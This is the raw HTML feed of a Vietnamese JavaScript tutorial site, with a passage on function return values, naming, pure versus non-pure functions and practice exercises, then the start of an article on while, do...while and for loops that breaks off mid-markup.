class="language-js"><span class="token keyword">function</span> <span class="token function">sum</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token keyword">let</span> r <span class="token operator">=</span> <span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>r<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></span></code></pre></div> <p>Ngoài ra, nếu hàm không có <code>return</code> thì giá trị trả về cũng là <code>undefined</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sum</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token keyword">let</span> r <span class="token operator">=</span> <span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>r<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></span></code></pre></div> <blockquote> <p><strong>Chú ý</strong>: không được xuống dòng ngay sau <code>return</code>. Vì JavaScript sẽ hiểu là bạn không <code>return</code> giá trị nào cả.</p> </blockquote> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">function sum(a, b) { return a + b; } const result = sum(1, 2); console.log(result); // undefined</code></pre></div> <p>Trình thông dịch JavaScript sẽ tự động thêm dấu <code>;</code> ngay sau <code>return</code>. Do đó, giá trị trả về của hàm trên là <code>undefined</code>. Và thành phần <code>a + b</code> phía dưới sẽ không bao giờ được chạy tới.</p> <p>Nếu cần xuống dòng thì bạn phải đưa giá trị trả về vào trong cặp dấu ngoặc đơn <code>()</code> như sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">function sum(a, b) { return ( a + b ); } const result = sum(1, 2); console.log(result); // 3</code></pre></div> <h2 id="cách-đặt-tên-hàm-trong-javascript" style="position:relative;"><a href="#c%C3%A1ch-%C4%91%E1%BA%B7t-t%C3%AAn-h%C3%A0m-trong-javascript" aria-label="cách đặt tên hàm trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách đặt tên hàm trong JavaScript</h2> <p>Quy tắc đặt tên hàm trong JavaScript cũng giống như quy tắc đặt tên biến hay hằng trong JavaScript:</p> <ul> <li>Bắt đầu bằng chữ cái, dấu gạch dưới (<code>_</code>) hoặc kí tự "đô la" (<code>$</code>).</li> <li>Sau kí tự đầu tiên, ngoài những kí tự trên, bạn có thể sử dụng thêm số (0-9).</li> <li>Không sử dụng từ khoá và từ dự trữ.</li> </ul> <p><strong>Chuẩn hóa cách đặt tên hàm</strong></p> <p>Vì hàm ứng với một hành động, nên tên hàm chuẩn thường bắt đầu bằng một <strong>động từ</strong>.</p> <p>Ví dụ một số động từ hay dùng để đặt tên hàm:</p> <ul> <li><code>get...</code> - trả về một giá trị.</li> <li><code>set...</code> - gán giá trị cho một biến.</li> <li><code>check...</code> - kiểm tra một số thứ và trả về giá trị <code>boolean</code>.</li> <li><code>display...</code> - hiển thị một số thứ.</li> <li>...</li> </ul> <blockquote> <p>Dĩ nhiên, JavaScript không quy định bạn phải đặt tên như vậy. Bạn chỉ cần đặt tên đúng theo quy tắc phía trên là đủ.</p> <p>Nhưng rõ ràng là nếu bạn đặt tên đúng chuẩn thì đồng nghiệp hoặc chính bản thân bạn khi đọc code sẽ dễ dàng hiểu được ý nghĩa của từng hàm.</p> </blockquote> <h2 id="sự-phát-sinh-hàm-trong-chương-trình" style="position:relative;"><a href="#s%E1%BB%B1-ph%C3%A1t-sinh-h%C3%A0m-trong-ch%C6%B0%C6%A1ng-tr%C3%ACnh" aria-label="sự phát sinh hàm trong chương trình permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sự phát sinh hàm trong chương trình</h2> <p>Khi lập trình, thông thường sẽ có hai trường hợp mà bạn nên viết hàm:</p> <ul> <li>Một đoạn chương trình được lặp đi, lặp lại nhiều lần. Việc gom chúng lại thành một hàm sẽ giúp chương trình ngắn gọn hơn, dễ hiểu hơn. Và khi cần thay đổi, bạn chỉ cần sửa một lần trong nội dung hàm, thay vì phải sửa nhiều chỗ.</li> <li>Bạn cần tách toàn bộ chương trình thành những phần nhỏ hơn. Hay còn gọi là <strong>module hoá</strong>. Lúc này, bạn có thể xây dựng logic cho toàn bộ chương trình trước khi thật sự định nghĩa nội dung từng hàm. Cách tiếp cận này gọi là "top-down".</li> </ul> <blockquote> <p>Với những dự án lớn, mỗi thành viên thường chỉ được làm những module nhỏ trong toàn bộ một project lớn.</p> <p>Sau đó khi các module nhỏ hoàn thành, sẽ có người ghép những module nhỏ đó thành một chương trình hoàn chỉnh.</p> <p>Do đó, việc phân chia chương trình thành những hàm tốt là vô cùng quan trọng.</p> </blockquote> <p><strong>Như thế nào là một hàm tốt?</strong></p> <p>Đây là một câu hỏi rất khó để trả lời. Theo mình, hàm tốt là hàm thỏa mãn một số điều kiện sau:</p> <ul> <li>Một hàm chỉ thực hiện một chức năng duy nhất</li> <li>Độc lập với các yếu tố bên ngoài (biến toàn cục, môi trường thực thi,...)</li> <li>Dễ dàng tái sử dụng</li> </ul> <p>Tuy nhiên, không phải lúc nào bạn cũng có thể thoả mãn những yêu cầu trên. Hoặc không nhất thiết phải thoả mãn tất cả những yêu cầu trên.</p> <h2 id="pure-function-và-non-pure-function" style="position:relative;"><a href="#pure-function-v%C3%A0-non-pure-function" aria-label="pure function và non pure function permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Pure function và non-pure function</h2> <p>Nhìn chung, có hai loại hàm trong JavaScript là <strong>pure</strong> function (hàm thuần khiết) và <strong>non-pure</strong> function (hàm không thuần khiết).</p> <p><strong>Hàm thuần khiết</strong> là hàm không phụ thuộc vào yếu tố bên ngoài (biến toàn cục, môi trường thực thi,...). Bất cứ khi nào bạn gọi hàm thuần khiết với cùng một đối số thì kết quả trả về luôn giống nhau.</p> <p>Do đó, pure function rất dễ để sử dụng, tái sử dụng hay bảo trì,... Theo mình, hàm thuần khiết là một hàm tốt.</p> <p>Ví dụ hàm thuần khiết:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">pureFunc</span><span class="token punctuation">(</span><span class="token parameter">number<span class="token punctuation">,</span> factor</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> number <span class="token operator">*</span> factor<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> ret <span class="token operator">=</span> <span class="token function">pureFunc</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ret<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 20</span></code></pre></div> <p>Bạn thấy rằng, với cùng một giá trị truyền vào là <code>2</code> và <code>10</code> thì kết quả luôn là <code>20</code>. Do đó, hàm trên là <strong>hàm thuần khiết</strong>.</p> <p>Ngược lại với hàm thuần khiết, <strong>hàm không thuần khiết</strong> là hàm phụ thuộc vào biến toàn cục hay môi trường thực thi.</p> <p>Vì vậy, khi bạn gọi cùng một hàm với cùng một đối số, nhưng kết quả lại có thể khác nhau.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> factor <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">nonPureFunc</span><span class="token punctuation">(</span><span class="token parameter">number</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> number <span class="token operator">*</span> factor<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> ret <span class="token operator">=</span> <span class="token function">nonPureFunc</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ret<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 20</span> factor <span class="token operator">=</span> <span class="token number">11</span><span class="token punctuation">;</span> ret <span class="token operator">=</span> <span class="token function">nonPureFunc</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>ret<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 22</span></code></pre></div> <p>Rõ ràng, hàm <code>nonPureFunc</code> không phải là hàm thuần khiết. Vì hàm này phụ thuộc vào biến ngoài hàm là <code>factor</code>.</p> <p>Nghĩa là khi giá trị của biến <code>factor</code> thay đổi, kết quả trả về của hàm cũng thay đổi (dù cho cùng giá trị truyền vào là <code>2</code>).</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Vậy hàm là gì?</p> <p>Hàm trong JavaScript là một chương trình con giúp thực thi một công việc cụ thể với cú pháp là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">functionName</span><span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">[</span>parameter1<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span>parameter2<span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token operator">...</span></span><span class="token punctuation">)</span> <span class="token punctuation">{</span> statement1<span class="token punctuation">;</span> statement2<span class="token punctuation">;</span> <span class="token operator">...</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó:</p> <ul> <li>Tham số truyền vào hàm được sao chép vào biến cục bộ bên trong hàm.</li> <li>Trường hợp không truyền giá trị vào thì giá trị của tham số là <code>undefined</code>. Bạn có thể sử dụng toán tử <code>=</code> để khai báo giá trị mặc định cho tham số trong hàm.</li> <li>Biến cục bộ khai báo bên trong hàm chỉ dùng được ở thân hàm. Code bên ngoài không thể truy cập vào biến cục bộ trong hàm.</li> <li>Hàm có thể đọc và cập nhật giá trị của biến ngoài hàm. Nhưng khi bên trong hàm có khai báo một biến cùng tên với biến ngoài hàm thì biến ngoài hàm bị "bỏ qua".</li> <li>Hàm có thể trả về giá trị bằng cách dùng từ khóa <code>return</code>. Có thể có nhiều từ khóa <code>return</code> trong thân hàm. Khi gặp từ khóa <code>return</code>, hàm sẽ dừng lại ngay lập tức và trả về giá trị sau <code>return</code>.</li> <li>Nếu không có giá trị, biểu thức,... nào sau <code>return</code>, hoặc không có từ khóa <code>return</code> thì giá trị trả về của hàm là <code>undefined</code>.</li> </ul> <p>Quy tắc đặt tên hàm cũng giống quy tắc đặt tên biến và hằng. Và tên hàm nên bắt đầu bằng một động từ.</p> <p>Nên ưu tiên viết hàm <strong>thuần khiết</strong> để dễ dàng tái sử dụng, dễ dàng kiểm thử và tránh lỗi.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Viết hàm trả về giá trị nhỏ nhất của hai số (giả sử giá trị truyền nào luôn là số).</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">min</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">&lt;</span> b <span class="token operator">?</span> a <span class="token operator">:</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">min</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> <span class="token function">min</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -1</span> <span class="token function">min</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <p>Trường hợp hai số truyền vào bằng nhau thì dĩ nhiên kết quả là giá trị của hai số đó.</p> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Viết hàm kiểm tra xem một số có phải là số nguyên tố hay không. Nếu là số nguyên tố thì trả về <code>true</code>. Ngược lại, trả về <code>false</code>.</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">isPrime</span><span class="token punctuation">(</span><span class="token parameter">number</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isNaN</span><span class="token punctuation">(</span>number<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">&lt;</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">===</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span>i <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> i <span class="token operator">*</span> i <span class="token operator">&lt;=</span> number<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">%</span> i <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Ví dụ:</span> <span class="token function">isPrime</span><span class="token punctuation">(</span><span class="token string">"abc"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> <span class="token function">isPrime</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> <span class="token function">isPrime</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token function">isPrime</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token function">isPrime</span><span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Trong đó, hàm <code>isNaN(number)</code> dùng để kiểm tra giá trị của biến <code>number</code> xem có phải là <code>NaN</code> hay không. Nói cách khác, nếu <code>isNaN(number)</code> trả về <code>false</code> thì giá trị của <code>number</code> là số.</p> </div> </div> </div>[email protected]<![CDATA[Vòng lặp trong JavaScript]]><![CDATA[Đôi khi bạn cần phải lặp lại một hành động với số lần cho trước. Thay vì phải viết lại code giống nhau cho mỗi lượt lặp, JavaScript cung cấp cho bạn một cấu trúc lặp hay gọi cách…]]>https://completejavascript.com/vong-lap-trong-javascript/https://completejavascript.com/vong-lap-trong-javascript/Sun, 07 May 2017 04:50:00 GMT<p>Đôi khi bạn cần phải lặp lại một hành động với số lần cho trước. Thay vì phải viết lại code giống nhau cho mỗi lượt lặp, JavaScript cung cấp cho bạn một <strong>cấu trúc lặp</strong> hay gọi cách khác là <strong>vòng lặp trong JavaScript</strong>.</p> <p>Có ba vòng lặp trong JavaScript là:</p> <ul> <li>Vòng lặp while.</li> <li>Vòng lặp do...while.</li> <li>Vòng lặp for.</li> </ul> <h2 id="vòng-lặp-while" style="position:relative;"><a href="#v%C3%B2ng-l%E1%BA%B7p-while" aria-label="vòng lặp while permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vòng lặp while</h2> <p>Cú pháp của vòng lặp while là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">while (condition) { // code }</code></pre></div> <p>Trong đó:</p> <ul> <li><strong>Condition</strong> là điều kiện thực hiện vòng lặp.</li> <li>Khi <strong>condition</strong> có giá trị <a href="/toan-tu-logic-trong-javascript/">truthy</a> thì <strong>code</strong> được thực thi. Ngược lại, khi <strong>condition</strong> là <strong>falsy</strong> thì vòng lặp kết thúc.</li> </ul> <p>Ví dụ <strong>vòng lặp while</strong> sau đây in ra các số từ 1 đến 3:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> count <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>count <span class="token operator">&lt;=</span> <span class="token number">3</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>count<span class="token punctuation">)</span><span class="token punctuation">;</span> count<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// 1</span> <span class="token comment">// 2</span> <span class="token comment">// 3</span></code></pre></div> <p>Đoạn code trên diễn tả bằng lời như sau:</p> <p><em>Khởi tạo biến <code>count</code> bằng <code>1</code>. Kiểm tra điều kiện nếu <code>count &#x3C;= 3</code> đúng thì ghi ra <code>console.log</code> số <code>count</code>. Sau đó, tăng <code>count</code> lên 1 đơn vị. Tiếp tục quá trình kiểm tra điều kiện, ghi log và tăng <code>count</code> cho đến khi <code>count &#x3C;= 3</code> sai thì dừng lại.</em></p> <p>Trong đoạn code trên, nếu bạn không có <code>count++</code> thì giá trị của biến <code>count</code> mãi mãi là <code>1</code>. Nói cách khác, giá trị của <code>count &#x3C;= 3</code> luôn luôn là <code>true</code>. Do đó, vòng lặp sẽ <strong>lặp vô hạn</strong> và không bao giờ dừng lại.</p> <blockquote> <p><strong>Chú ý</strong>: thành phần <strong>condition</strong> có thể là biểu thức hoặc biến.</p> </blockquote> <p>Ví dụ đoạn code in ra các số từ 3 về 1:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> n <span class="token operator">=</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token comment">// Khi n === 0 thì n là falsy, suy ra vòng lặp kết thúc.</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>n<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span> n<span class="token operator">--</span><span class="token punctuation">;</span> <span class="token comment">// Giá trị của n giảm đi 1 đơn vị sau mỗi lượt lặp</span> <span class="token punctuation">}</span> <span class="token comment">// 3</span> <span class="token comment">// 2</span> <span class="token comment">// 1</span></code></pre></div> <blockquote> <p>Nếu đoạn code bên trong vòng lặp chỉ là <strong>một câu lệnh</strong> thì bạn có thể bỏ qua cặp dấu <code>{}</code>.</p> </blockquote> <p>Ví dụ vòng lặp while chỉ có một câu lệnh ở thân vòng lặp:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> n <span class="token operator">=</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">while</span> <span class="token punctuation">(</span>n<span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>n<span class="token operator">--</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token comment">// 3</span> <span class="token comment">// 2</span> <span class="token comment">// 1</span></code></pre></div> <h2 id="vòng-lặp-dowhile" style="position:relative;"><a href="#v%C3%B2ng-l%E1%BA%B7p-dowhile" aria-label="vòng lặp dowhile permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vòng lặp do...while</h2> <p>Vòng lặp do...while tương tự như vòng lặp while, chỉ khác là điều kiện vòng lặp được chuyển xuống cuối cấu trúc lặp.</p> <p>Cú pháp vòng lặp do...while như sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">do { // code } while (condition);</code></pre></div> <p>Khác với vòng lặp while, vòng lặp do...while luôn thực hiện <strong>ít nhất một lượt lặp</strong>. Sau đó mới kiểm tra điều kiện lặp.</p> <p>Nếu <strong>condition</strong> có giá trị <strong>truthy</strong> thì tiếp tục cấu trúc lặp. Ngược lại, khi <strong>condition</strong> là <strong>falsy</strong> thì vòng lặp do...while kết thúc.</p> <p>Ví dụ <strong>vòng lặp do...while</strong> in ra các số từ 1 đến 3:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> count <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">do</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>count<span class="token punctuation">)</span><span class="token punctuation">;</span> count<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>count <span class="token operator">&lt;=</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> <span class="token comment">// 2</span> <span class="token comment">// 3</span></code></pre></div> <h2 id="vòng-lặp-for" style="position:relative;"><a href="#v%C3%B2ng-l%E1%BA%B7p-for" aria-label="vòng lặp for permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 